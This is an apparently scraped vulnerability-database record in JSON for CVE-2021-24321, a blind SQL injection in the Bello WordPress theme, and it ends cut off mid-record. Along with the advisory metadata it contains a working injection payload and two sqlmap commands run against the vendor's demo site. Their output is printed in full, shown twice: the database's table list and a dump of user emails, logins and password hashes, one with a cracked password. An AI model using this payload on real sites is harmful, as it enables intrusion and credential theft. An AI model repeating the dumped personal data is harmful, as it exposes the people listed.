Description
The theme did not sanitise the bt_bb_listing_field_price_range_to, bt_bb_listing_field_now_open, bt_bb_listing_field_my_lng, listing_list_view and bt_bb_listing_field_my_lat parameters before using them in a SQL statement, leading to SQL Injection issues
Related
{"id": "WPEX-ID:7314F9FA-C047-4E0C-B145-940240A50C02", "type": "wpexploit", "bulletinFamily": "exploit", "title": "Bello < 1.6.0 - Unauthenticated Blind SQL Injection", "description": "The theme did not sanitise the bt_bb_listing_field_price_range_to, bt_bb_listing_field_now_open, bt_bb_listing_field_my_lng, listing_list_view and bt_bb_listing_field_my_lat parameters before using them in a SQL statement, leading to SQL Injection issues\n", "published": "2021-05-16T00:00:00", "modified": "2021-05-17T07:02:01", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "", "reporter": "m0ze", "references": ["https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-89%5D-Bello-WordPress-Theme-v1.5.9.txt"], "cvelist": ["CVE-2021-24321"], "immutableFields": [], "lastseen": "2021-08-23T12:23:15", "viewCount": 38, "enchantments": {"dependencies": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2021-0419"]}, {"type": "cve", "idList": ["CVE-2021-24321"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:7314F9FA-C047-4E0C-B145-940240A50C02"]}], "rev": 4}, "score": {"value": 6.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "canvas", "idList": ["NGINX"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0419"]}, {"type": "cve", "idList": ["CVE-2021-24321"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:7314F9FA-C047-4E0C-B145-940240A50C02"]}]}, "exploitation": null, "vulnersScore": 6.3}, "sourceData": "### -- [ Payload: ]\r\n\r\n[$] -4034) OR 4877=4877 AND (2369=2369\r\n\r\n\r\n\r\n### -- [ PoC #1 | Unauthenticated Blind SQL Injection | Listing search query (tables): ]\r\n\r\n[!] sqlmap --url=\"https://bello.bold-themes.com/main-demo/listing/?&listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=40.6976637&bt_bb_listing_field_my_lng_default=-74.119764&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=4&bt_bb_listing_field_sort=4\" -D radem293_wp485 --tables\r\n ___\r\n __H__\r\n ___ ___[(]_____ ___ ___ {1.5.3.16#dev}\r\n|_ -| . [,] | .'| . |\r\n|___|_ [']_|_|_|__,| _|\r\n |_|V... |_| http://sqlmap.org\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\r\n\r\n[*] starting @ 01:43:11 /2021-03-21/\r\n\r\n[01:43:11] [INFO] resuming back-end DBMS 'mysql'\r\n[01:43:11] [INFO] testing connection to the target URL\r\nsqlmap resumed the following injection point(s) from stored session:\r\n---\r\nParameter: bt_bb_listing_field_price_range_to (GET)\r\n Type: boolean-based blind\r\n Title: OR boolean-based blind - WHERE or HAVING clause\r\n Payload: &listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=-88&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=-4034) OR 4877=4877 AND (2369=2369&bt_bb_listing_field_sort=4\r\n---\r\n[01:43:18] [INFO] the back-end DBMS is MySQL\r\nweb application technology: PHP, Nginx\r\nback-end DBMS: MySQL unknown\r\n[01:43:18] [INFO] fetching tables for database: 'radem293_wp485'\r\n[01:43:18] [INFO] fetching number of tables for database 'radem293_wp485'\r\n[01:43:20] [WARNING] reflective value(s) found and filtering out\r\nDatabase: radem293_wp485\r\n[132 tables]\r\n+-----------------------------------------------------+\r\n| wpsk_2_actionscheduler_actions |\r\n| wpsk_2_actionscheduler_claims |\r\n| wpsk_2_actionscheduler_groups |\r\n| wpsk_2_actionscheduler_logs |\r\n| wpsk_2_commentmeta |\r\n| wpsk_2_comments |\r\n| wpsk_2_links |\r\n| wpsk_2_options |\r\n| wpsk_2_postmeta |\r\n| wpsk_2_posts |\r\n| wpsk_2_social_users |\r\n| wpsk_2_term_relationships |\r\n| wpsk_2_term_taxonomy |\r\n| wpsk_2_termmeta |\r\n| wpsk_2_terms |\r\n| wpsk_2_wc_admin_note_actions |\r\n| wpsk_2_wc_admin_notes |\r\n| wpsk_2_wc_category_lookup |\r\n| wpsk_2_wc_customer_lookup |\r\n| wpsk_2_wc_download_log |\r\n| wpsk_2_wc_order_coupon_lookup |\r\n| wpsk_2_wc_order_product_lookup |\r\n| wpsk_2_wc_order_stats |\r\n| wpsk_2_wc_order_tax_lookup |\r\n| wpsk_2_wc_product_meta_lookup |\r\n| wpsk_2_wc_tax_rate_classes |\r\n| wpsk_2_wc_webhooks |\r\n| wpsk_2_woocommerce_api_keys |\r\n| wpsk_2_woocommerce_attribute_taxonomies |\r\n| wpsk_2_woocommerce_downloadable_product_permissions |\r\n| wpsk_2_woocommerce_log |\r\n| wpsk_2_woocommerce_order_itemmeta |\r\n| wpsk_2_woocommerce_order_items |\r\n| wpsk_2_woocommerce_payment_tokenmeta |\r\n| wpsk_2_woocommerce_payment_tokens |\r\n| wpsk_2_woocommerce_sessions |\r\n| wpsk_2_woocommerce_shipping_zone_locations |\r\n| wpsk_2_woocommerce_shipping_zone_methods |\r\n| wpsk_2_woocommerce_shipping_zones |\r\n| wpsk_2_woocommerce_tax_rate_locations |\r\n| wpsk_2_woocommerce_tax_rates |\r\n| wpsk_3_actionscheduler_actions |\r\n| wpsk_3_actionscheduler_claims |\r\n| wpsk_3_actionscheduler_groups |\r\n| wpsk_3_actionscheduler_logs |\r\n| wpsk_3_commentmeta |\r\n| wpsk_3_comments |\r\n| wpsk_3_links |\r\n| wpsk_3_options |\r\n| wpsk_3_postmeta |\r\n| wpsk_3_posts |\r\n| wpsk_3_social_users |\r\n| wpsk_3_term_relationships |\r\n| wpsk_3_term_taxonomy |\r\n| wpsk_3_termmeta |\r\n| wpsk_3_terms |\r\n| wpsk_3_wc_admin_note_actions |\r\n| wpsk_3_wc_admin_notes |\r\n| wpsk_3_wc_category_lookup |\r\n| wpsk_3_wc_customer_lookup |\r\n| wpsk_3_wc_download_log |\r\n| wpsk_3_wc_order_coupon_lookup |\r\n| wpsk_3_wc_order_product_lookup |\r\n| wpsk_3_wc_order_stats |\r\n| wpsk_3_wc_order_tax_lookup |\r\n| wpsk_3_wc_product_meta_lookup |\r\n| wpsk_3_wc_tax_rate_classes |\r\n| wpsk_3_wc_webhooks |\r\n| wpsk_3_woocommerce_api_keys |\r\n| wpsk_3_woocommerce_attribute_taxonomies |\r\n| wpsk_3_woocommerce_downloadable_product_permissions |\r\n| wpsk_3_woocommerce_log |\r\n| wpsk_3_woocommerce_order_itemmeta |\r\n| wpsk_3_woocommerce_order_items |\r\n| wpsk_3_woocommerce_payment_tokenmeta |\r\n| wpsk_3_woocommerce_payment_tokens |\r\n| wpsk_3_woocommerce_sessions |\r\n| wpsk_3_woocommerce_shipping_zone_locations |\r\n| wpsk_3_woocommerce_shipping_zone_methods |\r\n| wpsk_3_woocommerce_shipping_zones |\r\n| wpsk_3_woocommerce_tax_rate_locations |\r\n| wpsk_3_woocommerce_tax_rates |\r\n| wpsk_actionscheduler_actions |\r\n| wpsk_actionscheduler_claims |\r\n| wpsk_actionscheduler_groups |\r\n| wpsk_actionscheduler_logs |\r\n| wpsk_blog_versions |\r\n| wpsk_blogmeta |\r\n| wpsk_blogs |\r\n| wpsk_commentmeta |\r\n| wpsk_comments |\r\n| wpsk_links |\r\n| wpsk_options |\r\n| wpsk_postmeta |\r\n| wpsk_posts |\r\n| wpsk_registration_log |\r\n| wpsk_signups |\r\n| wpsk_site |\r\n| wpsk_sitemeta |\r\n| wpsk_social_users |\r\n| wpsk_term_relationships |\r\n| wpsk_term_taxonomy |\r\n| wpsk_termmeta |\r\n| wpsk_terms |\r\n| wpsk_usermeta |\r\n| wpsk_users |\r\n| wpsk_wc_admin_note_actions |\r\n| wpsk_wc_admin_notes |\r\n| wpsk_wc_category_lookup |\r\n| wpsk_wc_customer_lookup |\r\n| wpsk_wc_download_log |\r\n| wpsk_wc_order_coupon_lookup |\r\n| wpsk_wc_order_product_lookup |\r\n| wpsk_wc_order_stats |\r\n| wpsk_wc_order_tax_lookup |\r\n| wpsk_wc_product_meta_lookup |\r\n| wpsk_wc_tax_rate_classes |\r\n| wpsk_wc_webhooks |\r\n| wpsk_woocommerce_api_keys |\r\n| wpsk_woocommerce_attribute_taxonomies |\r\n| wpsk_woocommerce_downloadable_product_permissions |\r\n| wpsk_woocommerce_log |\r\n| wpsk_woocommerce_order_itemmeta |\r\n| wpsk_woocommerce_order_items |\r\n| wpsk_woocommerce_payment_tokenmeta |\r\n| wpsk_woocommerce_payment_tokens |\r\n| wpsk_woocommerce_sessions |\r\n| wpsk_woocommerce_shipping_zone_locations |\r\n| wpsk_woocommerce_shipping_zone_methods |\r\n| wpsk_woocommerce_shipping_zones |\r\n| wpsk_woocommerce_tax_rate_locations |\r\n| wpsk_woocommerce_tax_rates |\r\n+-----------------------------------------------------+\r\n\r\n[*] ending @ 01:44:45 /2021-03-21/\r\n\r\n\r\n\r\n### -- [ PoC #2 | Unauthenticated Blind SQL Injection | Listing search query ('wpsk_users' data): ]\r\n\r\n[!] sqlmap --url=\"https://bello.bold-themes.com/main-demo/listing/?&listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=40.6976637&bt_bb_listing_field_my_lng_default=-74.119764&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=4&bt_bb_listing_field_sort=4\" -D radem293_wp485 -T wpsk_users -C id,user_email,user_login,user_pass\r\n ___\r\n __H__\r\n ___ ___[.]_____ ___ ___ {1.5.3.16#dev}\r\n|_ -| . [,] | .'| . |\r\n|___|_ [\"]_|_|_|__,| _|\r\n |_|V... |_| http://sqlmap.org\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\r\n\r\n[*] starting @ 17:53:01 /2021-03-22/\r\n\r\n[17:53:02] [INFO] resuming back-end DBMS 'mysql'\r\n[17:53:02] [INFO] testing connection to the target URL\r\nsqlmap resumed the following injection point(s) from stored session:\r\n---\r\nParameter: bt_bb_listing_field_price_range_to (GET)\r\n Type: boolean-based blind\r\n Title: OR boolean-based blind - WHERE or HAVING clause\r\n Payload: &listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=-88&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=-4034) OR 4877=4877 AND (2369=2369&bt_bb_listing_field_sort=4\r\n---\r\n[17:53:08] [INFO] the back-end DBMS is MySQL\r\nweb application technology: Nginx, PHP\r\nback-end DBMS: MySQL unknown\r\n[17:53:08] [INFO] fetching entries of column(s) 'id,user_email,user_login,user_pass' for table 'wpsk_users' in database 'radem293_wp485'\r\n[17:53:08] [INFO] fetching number of column(s) 'id,user_email,user_login,user_pass' entries for table 'wpsk_users' in database 'radem293_wp485'\r\n[17:53:11] [WARNING] reflective value(s) found and filtering out\r\nDatabase: radem293_wp485\r\nTable: wpsk_users\r\n[10 entries]\r\n+----+---------------------------------+-------------------------+---------------------------------------------+\r\n| id | user_email | user_login | user_pass |\r\n+----+---------------------------------+-------------------------+---------------------------------------------+\r\n| 1 | info@bold-themes.com | BoldThemes | $P$BLYLHDyPTxvVaYRwW7vnzlgHmGioBs1 |\r\n| 2 | admin-03@bold-themes.com | mike | $P$BUWs66Dwi66SaLM7gXyuHuplzzUhBn/ |\r\n| 3 | admin-01@bold-themes.com | joanna | $P$B56jorGqtnruHpxEtzUVQ/O7PJW8iv0 |\r\n| 4 | info.bold.themes@gmail.com | info.bold.themes | $P$BGHqpcBv4LNz2PuHi2pU6WtVi/Ryp3/ |\r\n| 5 | admin-05@bold-themes.com | eddie | $P$BSZwf0aAGEDMPzhwyLp03cUa0sTnOY/ |\r\n| 9 | jangizhashim.pasargad@gmail.com | jangizhashim | $P$B1yLpS0TNKaLsFtxaibD0TvxXW7Ej0/ |\r\n| 10 | hujjatuna@gmail.com | hujjatuna@gmail.com | $P$B5G6nPRkWlDRc1gi05jDucOPAeLLtZ0 |\r\n| 11 | pekermusa@gmail.com | pekermusa@gmail.com | $P$BjAOrMfoj0lc518MEk0EplsZjJJdme1 |\r\n| 12 | francischow@yahoo.com | francischow@yahoo.com | $P$Bzks/yvMgJClbxAp080b/In1kTANwj/ (123456) |\r\n| 13 | tifernini.dev@gmail.com | tifernini.dev@gmail.com | $P$BAVqRY7/.gm4UMgqIcH.CkYJvyv3Vl1 |\r\n+----+---------------------------------+-------------------------+---------------------------------------------+\r\n\r\n[*] ending @ 19:13:26 /2021-03-22/\r\n", "generation": 1, "_state": {"dependencies": 1647589307, "score": 0}}
{"checkpoint_advisories": [{"lastseen": "2022-02-16T19:32:33", "description": "SQL Injection Scanning Attempt Over HTTP.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-30T00:00:00", "type": "checkpoint_advisories", "title": "SQL Injection Scanning Attempt Over HTTP (CVE-2021-24321)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24321"], "modified": "2021-06-30T00:00:00", "id": "CPAI-2021-0419", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "wpvulndb": [{"lastseen": "2021-08-23T12:23:15", "description": "The theme did not sanitise the bt_bb_listing_field_price_range_to, bt_bb_listing_field_now_open, bt_bb_listing_field_my_lng, listing_list_view and bt_bb_listing_field_my_lat parameters before using them in a SQL statement, leading to SQL Injection issues\n\n### PoC\n\n### -- [ Payload: ] [$] -4034) OR 4877=4877 AND (2369=2369 ### -- [ PoC #1 | Unauthenticated Blind SQL Injection | Listing search query (tables): ] [!] sqlmap --url=\"https://bello.bold-themes.com/main-demo/listing/?&listing;_list_view=X&bt;_bb_listing_field_my_lat=X&bt;_bb_listing_field_my_lng=X&bt;_bb_listing_field_my_lat_default=40.6976637&bt;_bb_listing_field_my_lng_default=-74.119764&bt;_bb_listing_field_keyword=X&bt;_bb_listing_field_category=all&bt;_bb_listing_field_now_open=1&bt;_bb_listing_field_location_autocomplete=X&bt;_bb_listing_field_distance=26&bt;_bb_listing_field_distance_value=26&bt;_bb_listing_field_price_range_from=1&bt;_bb_listing_field_price_range_to=4&bt;_bb_listing_field_sort=4\" -D radem293_wp485 --tables ___ __H__ ___ ___[(]_____ ___ ___ {1.5.3.16#dev} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:43:11 /2021-03-21/ [01:43:11] [INFO] resuming back-end DBMS 'mysql' [01:43:11] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: \\--- Parameter: bt_bb_listing_field_price_range_to (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: &listing;_list_view=X&bt;_bb_listing_field_my_lat=X&bt;_bb_listing_field_my_lng=X&bt;_bb_listing_field_my_lat_default=13&bt;_bb_listing_field_my_lng_default=-88&bt;_bb_listing_field_keyword=X&bt;_bb_listing_field_category=all&bt;_bb_listing_field_now_open=1&bt;_bb_listing_field_location_autocomplete=X&bt;_bb_listing_field_distance=26&bt;_bb_listing_field_distance_value=26&bt;_bb_listing_field_price_range_from=1&bt;_bb_listing_field_price_range_to=-4034) OR 4877=4877 AND (2369=2369&bt;_bb_listing_field_sort=4 \\--- [01:43:18] [INFO] the back-end DBMS is MySQL web application technology: PHP, Nginx back-end DBMS: MySQL unknown [01:43:18] [INFO] fetching tables for database: 'radem293_wp485' [01:43:18] [INFO] fetching number of tables for database 'radem293_wp485' [01:43:20] [WARNING] reflective value(s) found and filtering out Database: radem293_wp485 [132 tables] +-----------------------------------------------------+ | wpsk_2_actionscheduler_actions | | wpsk_2_actionscheduler_claims | | wpsk_2_actionscheduler_groups | | wpsk_2_actionscheduler_logs | | wpsk_2_commentmeta | | wpsk_2_comments | | wpsk_2_links | | wpsk_2_options | | wpsk_2_postmeta | | wpsk_2_posts | | wpsk_2_social_users | | wpsk_2_term_relationships | | wpsk_2_term_taxonomy | | wpsk_2_termmeta | | wpsk_2_terms | | wpsk_2_wc_admin_note_actions | | wpsk_2_wc_admin_notes | | wpsk_2_wc_category_lookup | | wpsk_2_wc_customer_lookup | | wpsk_2_wc_download_log | | wpsk_2_wc_order_coupon_lookup | | wpsk_2_wc_order_product_lookup | | wpsk_2_wc_order_stats | | wpsk_2_wc_order_tax_lookup | | wpsk_2_wc_product_meta_lookup | | wpsk_2_wc_tax_rate_classes | | wpsk_2_wc_webhooks | | wpsk_2_woocommerce_api_keys | | wpsk_2_woocommerce_attribute_taxonomies | | wpsk_2_woocommerce_downloadable_product_permissions | | wpsk_2_woocommerce_log | | wpsk_2_woocommerce_order_itemmeta | | wpsk_2_woocommerce_order_items | | wpsk_2_woocommerce_payment_tokenmeta | | wpsk_2_woocommerce_payment_tokens | | wpsk_2_woocommerce_sessions | | wpsk_2_woocommerce_shipping_zone_locations | | wpsk_2_woocommerce_shipping_zone_methods | | wpsk_2_woocommerce_shipping_zones | | wpsk_2_woocommerce_tax_rate_locations | | wpsk_2_woocommerce_tax_rates | | wpsk_3_actionscheduler_actions | | wpsk_3_actionscheduler_claims | | wpsk_3_actionscheduler_groups | | wpsk_3_actionscheduler_logs | | wpsk_3_commentmeta | | wpsk_3_comments | | wpsk_3_links | | wpsk_3_options | | wpsk_3_postmeta | | wpsk_3_posts | | wpsk_3_social_users | | wpsk_3_term_relationships | | wpsk_3_term_taxonomy | | wpsk_3_termmeta | | wpsk_3_terms | | wpsk_3_wc_admin_note_actions | | wpsk_3_wc_admin_notes | | wpsk_3_wc_category_lookup | | wpsk_3_wc_customer_lookup | | wpsk_3_wc_download_log | | wpsk_3_wc_order_coupon_lookup | | wpsk_3_wc_order_product_lookup | | wpsk_3_wc_order_stats | | wpsk_3_wc_order_tax_lookup | | wpsk_3_wc_product_meta_lookup | | wpsk_3_wc_tax_rate_classes | | wpsk_3_wc_webhooks | | wpsk_3_woocommerce_api_keys | | wpsk_3_woocommerce_attribute_taxonomies | | wpsk_3_woocommerce_downloadable_product_permissions | | wpsk_3_woocommerce_log | | wpsk_3_woocommerce_order_itemmeta | | wpsk_3_woocommerce_order_items | | wpsk_3_woocommerce_payment_tokenmeta | | wpsk_3_woocommerce_payment_tokens | | wpsk_3_woocommerce_sessions | | wpsk_3_woocommerce_shipping_zone_locations | | wpsk_3_woocommerce_shipping_zone_methods | | wpsk_3_woocommerce_shipping_zones | | wpsk_3_woocommerce_tax_rate_locations | | wpsk_3_woocommerce_tax_rates | | wpsk_actionscheduler_actions | | wpsk_actionscheduler_claims | | wpsk_actionscheduler_groups | | wpsk_actionscheduler_logs | | wpsk_blog_versions | | wpsk_blogmeta | | wpsk_blogs | | wpsk_commentmeta | | wpsk_comments | | wpsk_links | | wpsk_options | | wpsk_postmeta | | wpsk_posts | | wpsk_registration_log | | wpsk_signups | | wpsk_site | | wpsk_sitemeta | | wpsk_social_users | | wpsk_term_relationships | | wpsk_term_taxonomy | | wpsk_termmeta | | wpsk_terms | | wpsk_usermeta | | wpsk_users | | wpsk_wc_admin_note_actions | | wpsk_wc_admin_notes | | wpsk_wc_category_lookup | | wpsk_wc_customer_lookup | | wpsk_wc_download_log | | wpsk_wc_order_coupon_lookup | | wpsk_wc_order_product_lookup | | wpsk_wc_order_stats | | wpsk_wc_order_tax_lookup | | wpsk_wc_product_meta_lookup | | wpsk_wc_tax_rate_classes | | wpsk_wc_webhooks | | wpsk_woocommerce_api_keys | | wpsk_woocommerce_attribute_taxonomies | | wpsk_woocommerce_downloadable_product_permissions | | wpsk_woocommerce_log | | wpsk_woocommerce_order_itemmeta | | wpsk_woocommerce_order_items | | wpsk_woocommerce_payment_tokenmeta | | wpsk_woocommerce_payment_tokens | | wpsk_woocommerce_sessions | | wpsk_woocommerce_shipping_zone_locations | | wpsk_woocommerce_shipping_zone_methods | | wpsk_woocommerce_shipping_zones | | wpsk_woocommerce_tax_rate_locations | | wpsk_woocommerce_tax_rates | +-----------------------------------------------------+ [*] ending @ 01:44:45 /2021-03-21/ ### -- [ PoC #2 | Unauthenticated Blind SQL Injection | Listing search query ('wpsk_users' data): ] [!] sqlmap --url=\"https://bello.bold-themes.com/main-demo/listing/?&listing;_list_view=X&bt;_bb_listing_field_my_lat=X&bt;_bb_listing_field_my_lng=X&bt;_bb_listing_field_my_lat_default=40.6976637&bt;_bb_listing_field_my_lng_default=-74.119764&bt;_bb_listing_field_keyword=X&bt;_bb_listing_field_category=all&bt;_bb_listing_field_now_open=1&bt;_bb_listing_field_location_autocomplete=X&bt;_bb_listing_field_distance=26&bt;_bb_listing_field_distance_value=26&bt;_bb_listing_field_price_range_from=1&bt;_bb_listing_field_price_range_to=4&bt;_bb_listing_field_sort=4\" -D radem293_wp485 -T wpsk_users -C id,user_email,user_login,user_pass ___ __H__ ___ ___[.]_____ ___ ___ {1.5.3.16#dev} |_ -| . [,] | .'| . | |___|_ [\"]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:53:01 /2021-03-22/ [17:53:02] [INFO] resuming back-end DBMS 'mysql' [17:53:02] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: \\--- Parameter: bt_bb_listing_field_price_range_to (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: &listing;_list_view=X&bt;_bb_listing_field_my_lat=X&bt;_bb_listing_field_my_lng=X&bt;_bb_listing_field_my_lat_default=13&bt;_bb_listing_field_my_lng_default=-88&bt;_bb_listing_field_keyword=X&bt;_bb_listing_field_category=all&bt;_bb_listing_field_now_open=1&bt;_bb_listing_field_location_autocomplete=X&bt;_bb_listing_field_distance=26&bt;_bb_listing_field_distance_value=26&bt;_bb_listing_field_price_range_from=1&bt;_bb_listing_field_price_range_to=-4034) OR 4877=4877 AND (2369=2369&bt;_bb_listing_field_sort=4 \\--- [17:53:08] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP back-end DBMS: MySQL unknown [17:53:08] [INFO] fetching entries of column(s) 'id,user_email,user_login,user_pass' for table 'wpsk_users' in database 'radem293_wp485' [17:53:08] [INFO] fetching number of column(s) 'id,user_email,user_login,user_pass' entries for table 'wpsk_users' in database 'radem293_wp485' [17:53:11] [WARNING] reflective value(s) found and filtering out Database: radem293_wp485 Table: wpsk_users [10 entries] +----+---------------------------------+-------------------------+---------------------------------------------+ | id | user_email | user_login | user_pass | +----+---------------------------------+-------------------------+---------------------------------------------+ | 1 | info@bold-themes.com | BoldThemes | $P$BLYLHDyPTxvVaYRwW7vnzlgHmGioBs1 | | 2 | admin-03@bold-themes.com | mike | $P$BUWs66Dwi66SaLM7gXyuHuplzzUhBn/ | | 3 | admin-01@bold-themes.com | joanna | $P$B56jorGqtnruHpxEtzUVQ/O7PJW8iv0 | | 4 | info.bold.themes@gmail.com | info.bold.themes | $P$BGHqpcBv4LNz2PuHi2pU6WtVi/Ryp3/ | | 5 | admin-05@bold-themes.com | eddie | $P$BSZwf0aAGEDMPzhwyLp03cUa0sTnOY/ | | 9 | jangizhashim.pasargad@gmail.com | jangizhashim | $P$B1yLpS0TNKaLsFtxaibD0TvxXW7Ej0/ | | 10 | hujjatuna@gmail.com | hujjatuna@gmail.com | $P$B5G6nPRkWlDRc1gi05jDucOPAeLLtZ0 | | 11 | pekermusa@gmail.com | pekermusa@gmail.com | $P$BjAOrMfoj0lc518MEk0EplsZjJJdme1 | | 12 | francischow@yahoo.com | francischow@yahoo.com | $P$Bzks/yvMgJClbxAp080b/In1kTANwj/ (123456) | | 13 | tifernini.dev@gmail.com | tifernini.dev@gmail.com | $P$BAVqRY7/.gm4UMgqIcH.CkYJvyv3Vl1 | +----+---------------------------------+-------------------------+---------------------------------------------+ [*] ending @ 19:13:26 /2021-03-22/ \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-16T00:00:00", "type": "wpvulndb", "title": "Bello < 1.6.0 - Unauthenticated Blind SQL Injection", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24321"], "modified": "2021-05-17T07:02:01", "id": "WPVDB-ID:7314F9FA-C047-4E0C-B145-940240A50C02", "href": "https://wpscan.com/vulnerability/7314f9fa-c047-4e0c-b145-940240a50c02", "sourceData": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2022-03-23T14:51:51", "description": "The Bello - Directory & Listing WordPress theme before 1.6.0 did not sanitise the bt_bb_listing_field_price_range_to, bt_bb_listing_field_now_open, bt_bb_listing_field_my_lng, listing_list_view and bt_bb_listing_field_my_lat parameters before using them in a SQL statement, leading to SQL Injection issues", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": 